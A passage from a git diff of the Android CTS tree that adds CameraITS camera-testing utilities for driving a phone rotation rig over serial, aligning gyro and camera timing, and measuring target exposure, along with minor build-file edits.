+                        '0001': SCENE_CHANGE_FAIL_CODE,
+                        '0000': SCENE_CHANGE_FAIL_CODE,
+                        }
+    converged_list = [1, 0]
+    scene_change_flag_list = [1, 0]
+    bright_change_flag_list = [1, 0]
+    bright_final_list = [1, 0]
+    for converged in converged_list:
+      for scene_flag in scene_change_flag_list:
+        for bright_flag in bright_change_flag_list:
+          for bright_final in bright_final_list:
+            key = f'{converged}{scene_flag}{bright_flag}{bright_final}'
+            results[key] = calc_timing_adjustment(converged, scene_flag,
+                                                  bright_flag, bright_final)
+    self.assertEqual(results, expected_results)
+
+
+if __name__ == '__main__':
+  unittest.main()
diff --git a/apps/CameraITS2.0/utils/sensor_fusion_utils.py b/apps/CameraITS2.0/utils/sensor_fusion_utils.py
new file mode 100644
index 0000000..2935d5b
--- /dev/null
+++ b/apps/CameraITS2.0/utils/sensor_fusion_utils.py
@@ -0,0 +1,498 @@
+# Copyright 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import bisect
+import codecs
+import logging
+import struct
+import time
+import unittest
+
+import numpy as np
+import scipy.spatial
+import serial
+from serial.tools import list_ports
+
+# Constants for Rotation Rig
+ARDUINO_ANGLE_MAX = 180.0  # degrees
+ARDUINO_ANGLES = [0]*5 +list(range(0, 90, 3)) + [90]*5 +list(range(90, -1, -3))
+ARDUINO_BAUDRATE = 9600
+ARDUINO_CMD_LENGTH = 3
+ARDUINO_CMD_TIME = 2.0 * ARDUINO_CMD_LENGTH / ARDUINO_BAUDRATE  # round trip
+ARDUINO_MOVE_TIME = 0.06 - ARDUINO_CMD_TIME  # seconds
+ARDUINO_PID = 0x0043
+ARDUINO_START_BYTE = 255
+ARDUINO_START_NUM_TRYS = 3
+ARDUINO_TEST_CMD = (b'\x01', b'\x02', b'\x03')
+ARDUINO_VALID_CH = ('1', '2', '3', '4', '5', '6')
+ARDUINO_VIDS = (0x2341, 0x2a03)
+
+CANAKIT_BAUDRATE = 115200
+CANAKIT_CMD_TIME = 0.05  # seconds (found experimentally)
+CANAKIT_DATA_DELIMITER = '\r\n'
+CANAKIT_PID = 0xfc73
+CANAKIT_SEND_TIMEOUT = 0.02  # seconds
+CANAKIT_SET_CMD = 'REL'
+CANAKIT_SLEEP_TIME = 2  # seconds (for full 90 degree rotation)
+CANAKIT_VALID_CMD = ('ON', 'OFF')
+CANAKIT_VALID_CH = ('1', '2', '3', '4')
+CANAKIT_VID = 0x04d8
+
+HS755HB_ANGLE_MAX = 202.0  # throw for rotation motor in degrees
+
+_COARSE_FIT_RANGE = 20  # Range area around coarse fit to do optimization.
+_CORR_TIME_OFFSET_MAX = 50  # ms max shift to try and match camera/gyro times.
+_CORR_TIME_OFFSET_STEP = 0.5  # ms step for shifts.
+
+# Unit translators
+_MSEC_TO_NSEC = 1000000
+_NSEC_TO_SEC = 1E-9
+_SEC_TO_NSEC = int(1/_NSEC_TO_SEC)
+
+
+def serial_port_def(name):
+  """Determine the serial port and open.
+
+  Args:
+    name: string of device to locate (ie. 'Arduino', 'Canakit' or 'Default')
+  Returns:
+    serial port object
+  """
+  serial_port = None
+  devices = list_ports.comports()
+  for device in devices:
+    if not (device.vid and device.pid):  # Not all comm ports have vid and pid
+      continue
+    if name.lower() == 'arduino':
+      if (device.vid in ARDUINO_VIDS and device.pid == ARDUINO_PID):
+        logging.debug('Arduino: %s', str(device))
+        serial_port = device.device
+        return serial.Serial(serial_port, ARDUINO_BAUDRATE, timeout=1)
+
+    elif name.lower() in ('canakit', 'default'):
+      if (device.vid == CANAKIT_VID and device.pid == CANAKIT_PID):
+        logging.debug('Canakit: %s', str(device))
+        serial_port = device.device
+        return serial.Serial(serial_port, CANAKIT_BAUDRATE,
+                             timeout=CANAKIT_SEND_TIMEOUT,
+                             parity=serial.PARITY_EVEN,
+                             stopbits=serial.STOPBITS_ONE,
+                             bytesize=serial.EIGHTBITS)
+  raise ValueError(f'{name} device not connected.')
+
+
+def canakit_cmd_send(canakit_serial_port, cmd_str):
+  """Wrapper for sending serial command to Canakit.
+
+  Args:
+    canakit_serial_port: port to write for canakit
+    cmd_str: str; value to send to device.
+  """
+  try:
+    logging.debug('writing port...')
+    canakit_serial_port.write(CANAKIT_DATA_DELIMITER.encode())
+    time.sleep(CANAKIT_CMD_TIME)  # This is critical for relay.
+    canakit_serial_port.write(cmd_str.encode())
+
+  except IOError:
+    raise IOError(f'Port {CANAKIT_VID}:{CANAKIT_PID} is not open!')
+
+
+def canakit_set_relay_channel_state(canakit_port, ch, state):
+  """Set Canakit relay channel and state.
+
+  Waits CANAKIT_SLEEP_TIME for rotation to occur.
+
+  Args:
+    canakit_port: serial port object for the Canakit port.
+    ch: string for channel number of relay to set. '1', '2', '3', or '4'
+    state: string of either 'ON' or 'OFF'
+  """
+  logging.debug('Setting relay state %s', state)
+  if ch in CANAKIT_VALID_CH and state in CANAKIT_VALID_CMD:
+    canakit_cmd_send(canakit_port, CANAKIT_SET_CMD + ch + '.' + state + '\r\n')
+    time.sleep(CANAKIT_SLEEP_TIME)
+  else:
+    logging.debug('Invalid ch (%s) or state (%s), no command sent.', ch, state)
+
+
+def arduino_read_cmd(port):
+  """Read back Arduino command from serial port."""
+  cmd = []
+  for _ in range(ARDUINO_CMD_LENGTH):
+    cmd.append(port.read())
+  return cmd
+
+
+def arduino_send_cmd(port, cmd):
+  """Send command to serial port."""
+  for i in range(ARDUINO_CMD_LENGTH):
+    port.write(cmd[i])
+
+
+def arduino_loopback_cmd(port, cmd):
+  """Send command to serial port."""
+  arduino_send_cmd(port, cmd)
+  time.sleep(ARDUINO_CMD_TIME)
+  return arduino_read_cmd(port)
+
+
+def establish_serial_comm(port):
+  """Establish connection with serial port."""
+  logging.debug('Establishing communication with %s', port.name)
+  trys = 1
+  hex_test = convert_to_hex(ARDUINO_TEST_CMD)
+  logging.debug(' test tx: %s %s %s', hex_test[0], hex_test[1], hex_test[2])
+  while trys <= ARDUINO_START_NUM_TRYS:
+    cmd_read = arduino_loopback_cmd(port, ARDUINO_TEST_CMD)
+    hex_read = convert_to_hex(cmd_read)
+    logging.debug(' test rx: %s %s %s', hex_read[0], hex_read[1], hex_read[2])
+    if cmd_read != list(ARDUINO_TEST_CMD):
+      trys += 1
+    else:
+      logging.debug(' Arduino comm established after %d try(s)', trys)
+      break
+
+
+def convert_to_hex(cmd):
+  return [('%0.2x' % int(codecs.encode(x, 'hex_codec'), 16) if x else '--')
+          for x in cmd]
+
+
+def arduino_rotate_servo_to_angle(ch, angle, serial_port, delay=0):
+  """Rotate servo to the specified angle.
+
+  Args:
+    ch: str; servo to rotate in ARDUINO_VALID_CH
+    angle: int; servo angle to move to
+    serial_port: object; serial port
+    delay: int; time in seconds
+  """
+  if angle < 0 or angle > ARDUINO_ANGLE_MAX:
+    logging.debug('Angle must be between 0 and %d.', ARDUINO_ANGLE_MAX)
+    angle = 0
+    if angle > ARDUINO_ANGLE_MAX:
+      angle = ARDUINO_ANGLE_MAX
+
+  cmd = [struct.pack('B', i) for i in [ARDUINO_START_BYTE, int(ch), angle]]
+  arduino_send_cmd(serial_port, cmd)
+  time.sleep(delay)
+
+
+def arduino_rotate_servo(ch, serial_port):
+  """Rotate servo between 0 --> 90 --> 0.
+
+  Args:
+    ch: str; servo to rotate
+    serial_port: object; serial port
+  """
+  for angle in ARDUINO_ANGLES:
+    angle_norm = int(round(angle*ARDUINO_ANGLE_MAX/HS755HB_ANGLE_MAX, 0))
+    arduino_rotate_servo_to_angle(
+        ch, angle_norm, serial_port, ARDUINO_MOVE_TIME)
+
+
+def rotation_rig(rotate_cntl, rotate_ch, num_rotations):
+  """Rotate the phone n times using rotate_cntl and rotate_ch defined.
+
+  rotate_ch is hard wired and must be determined from physical setup.
+
+  First initialize the port and send a test string defined by ARDUINO_TEST_CMD
+  to establish communications. Then rotate servo motor to origin position.
+
+  Args:
+    rotate_cntl: str to identify as 'arduino' or 'canakit' controller.
+    rotate_ch: str to identify rotation channel number.
+    num_rotations: int number of rotations.
+  """
+
+  logging.debug('Controller: %s, ch: %s', rotate_cntl, rotate_ch)
+  if rotate_cntl.lower() == 'arduino':
+    # identify port
+    arduino_serial_port = serial_port_def('Arduino')
+
+    # send test cmd to Arduino until cmd returns properly
+    establish_serial_comm(arduino_serial_port)
+
+    # initialize servo at origin
+    logging.debug('Moving servo to origin')
+    arduino_rotate_servo_to_angle(rotate_ch, 0, arduino_serial_port, 1)
+
+  elif rotate_cntl.lower() == 'canakit':
+    canakit_serial_port = serial_port_def('Canakit')
+
+  # rotate phone
+  logging.debug('Rotating phone %dx', num_rotations)
+  for _ in range(num_rotations):
+    if rotate_cntl == 'arduino':
+      arduino_rotate_servo(rotate_ch, arduino_serial_port)
+    else:
+      canakit_set_relay_channel_state(canakit_serial_port, rotate_ch, 'ON')
+      canakit_set_relay_channel_state(canakit_serial_port, rotate_ch, 'OFF')
+  logging.debug('Finished rotations')
+
+
+def get_gyro_rotations(gyro_events, cam_times):
+  """Get the rotation values of the gyro.
+
+  Integrates the gyro data between each camera frame to compute an angular
+  displacement.
+
+  Args:
+    gyro_events: List of gyro event objects.
+    cam_times: Array of N camera times, one for each frame.
+
+  Returns:
+    Array of N-1 gyro rotation measurements (rads/s).
+  """
+  gyro_times = np.array([e['time'] for e in gyro_events])
+  all_gyro_rots = np.array([e['z'] for e in gyro_events])
+  gyro_rots = []
+  if gyro_times[0] > cam_times[0] or gyro_times[-1] < cam_times[-1]:
+    raise AssertionError('Gyro times do not bound camera times! '
+                         f'gyro: {gyro_times[0]:.0f} -> {gyro_times[-1]:.0f} '
+                         f'cam: {cam_times[0]} -> {cam_times[-1]} (ns).')
+  # Integrate the gyro data between each pair of camera frame times.
+  for i_cam in range(len(cam_times)-1):
+    # Get the window of gyro samples within the current pair of frames.
+    # Note: bisect always picks first gyro index after camera time.
+    t_cam0 = cam_times[i_cam]
+    t_cam1 = cam_times[i_cam+1]
+    i_gyro_window0 = bisect.bisect(gyro_times, t_cam0)
+    i_gyro_window1 = bisect.bisect(gyro_times, t_cam1)
+    gyro_sum = 0
+
+    # Integrate samples within the window.
+    for i_gyro in range(i_gyro_window0, i_gyro_window1):
+      gyro_val = all_gyro_rots[i_gyro+1]
+      t_gyro0 = gyro_times[i_gyro]
+      t_gyro1 = gyro_times[i_gyro+1]
+      t_gyro_delta = (t_gyro1 - t_gyro0) * _NSEC_TO_SEC
+      gyro_sum += gyro_val * t_gyro_delta
+
+    # Handle the fractional intervals at the sides of the window.
+    for side, i_gyro in enumerate([i_gyro_window0-1, i_gyro_window1]):
+      gyro_val = all_gyro_rots[i_gyro+1]
+      t_gyro0 = gyro_times[i_gyro]
+      t_gyro1 = gyro_times[i_gyro+1]
+      t_gyro_delta = (t_gyro1 - t_gyro0) * _NSEC_TO_SEC
+      if side == 0:
+        f = (t_cam0 - t_gyro0) / (t_gyro1 - t_gyro0)
+        frac_correction = gyro_val * t_gyro_delta * (1.0 - f)
+        gyro_sum += frac_correction
+      else:
+        f = (t_cam1 - t_gyro0) / (t_gyro1 - t_gyro0)
+        frac_correction = gyro_val * t_gyro_delta * f
+        gyro_sum += frac_correction
+
+    gyro_rots.append(gyro_sum)
+  gyro_rots = np.array(gyro_rots)
+  return gyro_rots
+
+
+def get_best_alignment_offset(cam_times, cam_rots, gyro_events):
+  """Find the best offset to align the camera and gyro motion traces.
+
+  This function integrates the shifted gyro data between camera samples
+  for a range of candidate shift values, and returns the shift that
+  result in the best correlation.
+
+  Uses a correlation distance metric between the curves, where a smaller
+  value means that the curves are better-correlated.
+
+  Fits a curve to the correlation distance data to measure the minima more
+  accurately, by looking at the correlation distances within a range of
+  +/- 10ms from the measured best score; note that this will use fewer
+  than the full +/- 10 range for the curve fit if the measured score
+  (which is used as the center of the fit) is within 10ms of the edge of
+  the +/- 50ms candidate range.
+
+  Args:
+    cam_times: Array of N camera times, one for each frame.
+    cam_rots: Array of N-1 camera rotation displacements (rad).
+    gyro_events: List of gyro event objects.
+
+  Returns:
+    Best alignment offset(ms), fit coefficients, candidates, and distances.
+  """
+  # Measure the correlation distance over defined shift
+  shift_candidates = np.arange(-_CORR_TIME_OFFSET_MAX,
+                               _CORR_TIME_OFFSET_MAX+_CORR_TIME_OFFSET_STEP,
+                               _CORR_TIME_OFFSET_STEP).tolist()
+  spatial_distances = []
+  for shift in shift_candidates:
+    shifted_cam_times = cam_times + shift*_MSEC_TO_NSEC
+    gyro_rots = get_gyro_rotations(gyro_events, shifted_cam_times)
+    spatial_distance = scipy.spatial.distance.correlation(cam_rots, gyro_rots)
+    logging.debug('shift %.1fms spatial distance: %.5f', shift,
+                  spatial_distance)
+    spatial_distances.append(spatial_distance)
+
+  best_corr_dist = min(spatial_distances)
+  coarse_best_shift = shift_candidates[spatial_distances.index(best_corr_dist)]
+  logging.debug('Best shift without fitting is %.4f ms', coarse_best_shift)
+
+  # Fit a 2nd order polynomial around coarse_best_shift to extract best fit
+  i = spatial_distances.index(best_corr_dist)
+  i_poly_fit_min = i - _COARSE_FIT_RANGE
+  i_poly_fit_max = i + _COARSE_FIT_RANGE + 1
+  shift_candidates = shift_candidates[i_poly_fit_min:i_poly_fit_max]
+  spatial_distances = spatial_distances[i_poly_fit_min:i_poly_fit_max]
+  fit_coeffs = np.polyfit(shift_candidates, spatial_distances, 2)  # ax^2+bx+c
+  exact_best_shift = -fit_coeffs[1]/(2*fit_coeffs[0])
+  if abs(coarse_best_shift - exact_best_shift) > 2.0:
+    raise AssertionError(
+        f'Test failed. Bad fit to time-shift curve. Coarse best shift: '
+        f'{coarse_best_shift}, Exact best shift: {exact_best_shift}.')
+  if fit_coeffs[0] <= 0 or fit_coeffs[2] <= 0:
+    raise AssertionError(
+        f'Coefficients are < 0: a: {fit_coeffs[0]}, c: {fit_coeffs[2]}.')
+
+  return exact_best_shift, fit_coeffs, shift_candidates, spatial_distances
+
+
+class SensorFusionUtilsTests(unittest.TestCase):
+  """Run a suite of unit tests on this module."""
+
+  _CAM_FRAME_TIME = 30 * _MSEC_TO_NSEC  # Similar to 30FPS
+  _CAM_ROT_AMPLITUDE = 0.04  # Empirical number for rotation per frame (rads/s).
+
+  def _generate_pwl_waveform(self, pts, step, amplitude):
+    """Helper function to generate piece wise linear waveform."""
+    pwl_waveform = []
+    for t in range(pts[0], pts[1], step):
+      pwl_waveform.append(0)
+    for t in range(pts[1], pts[2], step):
+      pwl_waveform.append((t-pts[1])/(pts[2]-pts[1])*amplitude)
+    for t in range(pts[2], pts[3], step):
+      pwl_waveform.append(amplitude)
+    for t in range(pts[3], pts[4], step):
+      pwl_waveform.append((pts[4]-t)/(pts[4]-pts[3])*amplitude)
+    for t in range(pts[4], pts[5], step):
+      pwl_waveform.append(0)
+    for t in range(pts[5], pts[6], step):
+      pwl_waveform.append((-1*(t-pts[5])/(pts[6]-pts[5]))*amplitude)
+    for t in range(pts[6], pts[7], step):
+      pwl_waveform.append(-1*amplitude)
+    for t in range(pts[7], pts[8], step):
+      pwl_waveform.append((t-pts[8])/(pts[8]-pts[7])*amplitude)
+    for t in range(pts[8], pts[9], step):
+      pwl_waveform.append(0)
+    return pwl_waveform
+
+  def _generate_test_waveforms(self, gyro_sampling_rate, t_offset=0):
+    """Define ideal camera/gryo behavior.
+
+    Args:
+      gyro_sampling_rate: Value in samples/sec.
+      t_offset: Value in ns for gyro/camera timing offset.
+
+    Returns:
+      cam_times: numpy array of camera times N values long.
+      cam_rots: numpy array of camera rotations N-1 values long.
+      gyro_events: list of dicts of gyro events N*gyro_sampling_rate/30 long.
+
+    Round trip for motor is ~2 seconds (~60 frames)
+            1111111111111111
+           i                i
+          i                  i
+         i                    i
+     0000                      0000                      0000
+                                   i                    i
+                                    i                  i
+                                     i                i
+                                      -1-1-1-1-1-1-1-1
+    t_0 t_1 t_2           t_3 t_4 t_5 t_6           t_7 t_8 t_9
+
+    Note gyro waveform must extend +/- _CORR_TIME_OFFSET_MAX to enable shifting
+    of camera waveform to find best correlation.
+
+    """
+
+    t_ramp = 4 * self._CAM_FRAME_TIME
+    pts = {}
+    pts[0] = 3 * self._CAM_FRAME_TIME
+    pts[1] = pts[0] + 3 * self._CAM_FRAME_TIME
+    pts[2] = pts[1] + t_ramp
+    pts[3] = pts[2] + 32 * self._CAM_FRAME_TIME
+    pts[4] = pts[3] + t_ramp
+    pts[5] = pts[4] + 4 * self._CAM_FRAME_TIME
+    pts[6] = pts[5] + t_ramp
+    pts[7] = pts[6] + 32 * self._CAM_FRAME_TIME
+    pts[8] = pts[7] + t_ramp
+    pts[9] = pts[8] + 4 * self._CAM_FRAME_TIME
+    cam_times = np.array(range(pts[0], pts[9], self._CAM_FRAME_TIME))
+    cam_rots = self._generate_pwl_waveform(
+        pts, self._CAM_FRAME_TIME, self._CAM_ROT_AMPLITUDE)
+    cam_rots.pop()  # rots is N-1 for N length times.
+    cam_rots = np.array(cam_rots)
+
+    # Generate gyro waveform.
+    gyro_step = int(round(_SEC_TO_NSEC/gyro_sampling_rate, 0))
+    gyro_pts = {k: v+t_offset+self._CAM_FRAME_TIME//2 for k, v in pts.items()}
+    gyro_pts[0] = 0  # adjust end pts to bound camera
+    gyro_pts[9] += self._CAM_FRAME_TIME*2  # adjust end pt to bound camera
+    gyro_rot_amplitude = (
+        self._CAM_ROT_AMPLITUDE / self._CAM_FRAME_TIME * _SEC_TO_NSEC)
+    gyro_rots = self._generate_pwl_waveform(
+        gyro_pts, gyro_step, gyro_rot_amplitude)
+
+    # Create gyro events list of dicts.
+    gyro_events = []
+    for i, t in enumerate(range(gyro_pts[0], gyro_pts[9], gyro_step)):
+      gyro_events.append({'time': t, 'z': gyro_rots[i]})
+
+    return cam_times, cam_rots, gyro_events
+
+  def test_get_gyro_rotations(self):
+    """Tests that gyro rotations are masked properly by camera rotations.
+
+    Note that waveform ideal waveform generation only works properly with
+    integer multiples of frame rate.
+    """
+    # Run with different sampling rates to validate.
+    for gyro_sampling_rate in [200, 1000]:  # 6x, 30x frame rate
+      cam_times, cam_rots, gyro_events = self._generate_test_waveforms(
+          gyro_sampling_rate)
+      gyro_rots = get_gyro_rotations(gyro_events, cam_times)
+      e_msg = f'gyro sampling rate = {gyro_sampling_rate}\n'
+      e_msg += f'cam_times = {list(cam_times)}\n'
+      e_msg += f'cam_rots = {list(cam_rots)}\n'
+      e_msg += f'gyro_rots = {list(gyro_rots)}'
+
+      self.assertTrue(np.allclose(
+          gyro_rots, cam_rots, atol=self._CAM_ROT_AMPLITUDE*0.10), e_msg)
+
+  def test_get_best_alignment_offset(self):
+    """Unittest for alignment offset check."""
+
+    gyro_sampling_rate = 5000
+    for t_offset_ms in [0, 1]:  # Run with different offsets to validate.
+      t_offset = int(t_offset_ms * _MSEC_TO_NSEC)
+      cam_times, cam_rots, gyro_events = self._generate_test_waveforms(
+          gyro_sampling_rate, t_offset)
+
+      best_fit_offset, coeffs, x, y = get_best_alignment_offset(
+          cam_times, cam_rots, gyro_events)
+      e_msg = f'best: {best_fit_offset} ms\n'
+      e_msg += f'coeffs: {coeffs}\n'
+      e_msg += f'x: {x}\n'
+      e_msg += f'y: {y}'
+      self.assertTrue(np.isclose(t_offset_ms, best_fit_offset, atol=0.1), e_msg)
+
+
+if __name__ == '__main__':
+  unittest.main()
+
diff --git a/apps/CameraITS2.0/utils/target_exposure_utils.py b/apps/CameraITS2.0/utils/target_exposure_utils.py
new file mode 100644
index 0000000..04c5f2e
--- /dev/null
+++ b/apps/CameraITS2.0/utils/target_exposure_utils.py
@@ -0,0 +1,253 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import json
+import logging
+import os
+import sys
+import unittest
+
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+CACHE_FILENAME = 'its.target.cfg'
+
+
+def get_target_exposure_combos(output_path, its_session=None):
+  """Get a set of legal combinations of target (exposure time, sensitivity).
+
+  Gets the target exposure value, which is a product of sensitivity (ISO) and
+  exposure time, and returns equivalent tuples of (exposure time,sensitivity)
+  that are all legal and that correspond to the four extrema in this 2D param
+  space, as well as to two "middle" points.
+
+  Will open a device session if its_session is None.
+
+  Args:
+   output_path: String, path where the target.cfg file will be saved.
+   its_session: Optional, holding an open device session.
+
+  Returns:
+    Object containing six legal (exposure time, sensitivity) tuples, keyed
+    by the following strings:
+    'minExposureTime'
+    'midExposureTime'
+    'maxExposureTime'
+    'minSensitivity'
+    'midSensitivity'
+    'maxSensitivity'
+  """
+  target_config_filename = os.path.join(output_path, CACHE_FILENAME)
+
+  if its_session is None:
+    with its_session_utils.ItsSession() as cam:
+      exposure = get_target_exposure(target_config_filename, cam)
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+  else:
+    exposure = get_target_exposure(target_config_filename, its_session)
+    props = its_session.get_camera_properties()
+    props = its_session.override_with_hidden_physical_camera_props(props)
+
+    sens_range = props['android.sensor.info.sensitivityRange']
+    exp_time_range = props['android.sensor.info.exposureTimeRange']
+
+    # Combo 1: smallest legal exposure time.
+    e1_expt = exp_time_range[0]
+    e1_sens = exposure / e1_expt
+    if e1_sens > sens_range[1]:
+      e1_sens = sens_range[1]
+      e1_expt = exposure / e1_sens
+
+    # Combo 2: largest legal exposure time.
+    e2_expt = exp_time_range[1]
+    e2_sens = exposure / e2_expt
+    if e2_sens < sens_range[0]:
+      e2_sens = sens_range[0]
+      e2_expt = exposure / e2_sens
+
+    # Combo 3: smallest legal sensitivity.
+    e3_sens = sens_range[0]
+    e3_expt = exposure / e3_sens
+    if e3_expt > exp_time_range[1]:
+      e3_expt = exp_time_range[1]
+      e3_sens = exposure / e3_expt
+
+    # Combo 4: largest legal sensitivity.
+    e4_sens = sens_range[1]
+    e4_expt = exposure / e4_sens
+    if e4_expt < exp_time_range[0]:
+      e4_expt = exp_time_range[0]
+      e4_sens = exposure / e4_expt
+
+    # Combo 5: middle exposure time.
+    e5_expt = (exp_time_range[0] + exp_time_range[1]) / 2.0
+    e5_sens = exposure / e5_expt
+    if e5_sens > sens_range[1]:
+      e5_sens = sens_range[1]
+      e5_expt = exposure / e5_sens
+    if e5_sens < sens_range[0]:
+      e5_sens = sens_range[0]
+      e5_expt = exposure / e5_sens
+
+    # Combo 6: middle sensitivity.
+    e6_sens = (sens_range[0] + sens_range[1]) / 2.0
+    e6_expt = exposure / e6_sens
+    if e6_expt > exp_time_range[1]:
+      e6_expt = exp_time_range[1]
+      e6_sens = exposure / e6_expt
+    if e6_expt < exp_time_range[0]:
+      e6_expt = exp_time_range[0]
+      e6_sens = exposure / e6_expt
+
+    return {
+        'minExposureTime': (int(e1_expt), int(e1_sens)),
+        'maxExposureTime': (int(e2_expt), int(e2_sens)),
+        'minSensitivity': (int(e3_expt), int(e3_sens)),
+        'maxSensitivity': (int(e4_expt), int(e4_sens)),
+        'midExposureTime': (int(e5_expt), int(e5_sens)),
+        'midSensitivity': (int(e6_expt), int(e6_sens))
+    }
+
+
+def get_target_exposure(target_config_filename, its_session=None):
+  """Get the target exposure to use.
+
+  If there is a cached value and if the "target" command line parameter is
+  present, then return the cached value. Otherwise, measure a new value from
+  the scene, cache it, then return it.
+
+  Args:
+    target_config_filename: String, target config file name.
+    its_session: Optional, holding an open device session.
+
+  Returns:
+    The target exposure value.
+  """
+  cached_exposure = None
+  for s in sys.argv[1:]:
+    if s == 'target':
+      cached_exposure = get_cached_target_exposure(target_config_filename)
+  if cached_exposure is not None:
+    logging.debug('Using cached target exposure')
+    return cached_exposure
+  if its_session is None:
+    with its_session_utils.ItsSession() as cam:
+      measured_exposure = do_target_exposure_measurement(cam)
+  else:
+    measured_exposure = do_target_exposure_measurement(its_session)
+  set_cached_target_exposure(target_config_filename, measured_exposure)
+  return measured_exposure
+
+
+def set_cached_target_exposure(target_config_filename, exposure):
+  """Saves the given exposure value to a cached location.
+
+  Once a value is cached, a call to get_cached_target_exposure will return
+  the value, even from a subsequent test/script run. That is, the value is
+  persisted.
+
+  The value is persisted in a JSON file in the current directory (from which
+  the script calling this function is run).
+
+  Args:
+   target_config_filename: String, target config file name.
+   exposure: The value to cache.
+  """
+  logging.debug('Setting cached target exposure')
+  with open(target_config_filename, 'w') as f:
+    f.write(json.dumps({'exposure': exposure}))
+
+
+def get_cached_target_exposure(target_config_filename):
+  """Get the cached exposure value.
+
+  Args:
+   target_config_filename: String, target config file name.
+
+  Returns:
+    The cached exposure value, or None if there is no valid cached value.
+  """
+  try:
+    with open(target_config_filename, 'r') as f:
+      o = json.load(f)
+      return o['exposure']
+  except IOError:
+    return None
+
+
+def do_target_exposure_measurement(its_session):
+  """Use device 3A and captured shots to determine scene exposure.
+
+    Creates a new ITS device session (so this function should not be called
+    while another session to the device is open).
+
+    Assumes that the camera is pointed at a scene that is reasonably uniform
+    and reasonably lit -- that is, an appropriate target for running the ITS
+    tests that assume such uniformity.
+
+    Measures the scene using device 3A and then by taking a shot to hone in on
+    the exact exposure level that will result in a center 10% by 10% patch of
+    the scene having a intensity level of 0.5 (in the pixel range of [0,1])
+    when a linear tonemap is used. That is, the pixels coming off the sensor
+    should be at approximately 50% intensity (however note that it's actually
+    the luma value in the YUV image that is being targeted to 50%).
+
+    The computed exposure value is the product of the sensitivity (ISO) and
+    exposure time (ns) to achieve that sensor exposure level.
+
+  Args:
+    its_session: Holds an open device session.
+
+  Returns:
+    The measured product of sensitivity and exposure time that results in
+    the luma channel of captured shots having an intensity of 0.5.
+  """
+  logging.debug('Measuring target exposure')
+
+  # Get AE+AWB lock first, so the auto values in the capture result are
+  # populated properly.
+  r = [[0.45, 0.45, 0.1, 0.1, 1]]
+  sens, exp_time, gains, xform, _ \
+          = its_session.do_3a(r, r, r, do_af=False, get_results=True)
+
+  # Convert the transform to rational.
+  xform_rat = [{'numerator': int(100 * x), 'denominator': 100} for x in xform]
+
+  # Linear tonemap
+  tmap = sum([[i / 63.0, i / 63.0] for i in range(64)], [])
+
+  # Capture a manual shot with this exposure, using a linear tonemap.
+  # Use the gains+transform returned by the AWB pass.
+  req = capture_request_utils.manual_capture_request(sens, exp_time)
+  req['android.tonemap.mode'] = 0
+  req['android.tonemap.curve'] = {'red': tmap, 'green': tmap, 'blue': tmap}
+  req['android.colorCorrection.transform'] = xform_rat
+  req['android.colorCorrection.gains'] = gains
+  cap = its_session.do_capture(req)
+
+  # Compute the mean luma of a center patch.
+  yimg, _, _ = image_processing_utils.convert_capture_to_planes(
+      cap)
+  tile = image_processing_utils.get_image_patch(yimg, 0.45, 0.45, 0.1, 0.1)
+  luma_mean = image_processing_utils.compute_image_means(tile)
+
+  # Compute the exposure value that would result in a luma of 0.5.
+  return sens * exp_time * 0.5 / luma_mean[0]
+
+
+if __name__ == '__main__':
+  unittest.main()
diff --git a/apps/CrossProfileTestApp/Android.bp b/apps/CrossProfileTestApp/Android.bp
index 948a94e..71e0acc 100644
--- a/apps/CrossProfileTestApp/Android.bp
+++ b/apps/CrossProfileTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CrossProfileTestApp",
     defaults: ["cts_defaults"],
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index e2821e9..090cc40 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -1,14 +1,3 @@
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-BSD
-    //   SPDX-license-identifier-CC-BY
-    default_applicable_licenses: ["cts_license"],
-}
-
 filegroup {
     name: "CtsVerifierMockVrListenerServiceFiles",
     srcs: ["src/com/android/cts/verifier/vr/MockVrListenerService.java"],
@@ -50,6 +39,8 @@
         "CtsCameraUtils",
         "androidx.legacy_legacy-support-v4",
         "CtsForceStopHelper-constants",
+        "ctsmediautil",
+        "DpmWrapper"
     ],
 
     libs: ["telephony-common"] + ["android.test.runner.stubs"] + ["android.test.base.stubs"] + ["android.test.mock.stubs"] + ["android.car"] + ["voip-common"] + ["truth-prebuilt"],
@@ -60,6 +51,7 @@
         "libctsverifier_jni",
         "libctsnativemidi_jni",
         "libaudioloopback_jni",
+        "libmegaaudio_jni",
     ],
 
     optimize: {
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index ab0d539..007be8c 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -27,8 +27,6 @@
 endef
 
 LOCAL_MODULE := cts-verifier-framework
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0 SPDX-license-identifier-BSD SPDX-license-identifier-CC-BY
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_AAPT_FLAGS := --auto-add-overlay --extra-packages android.support.v4
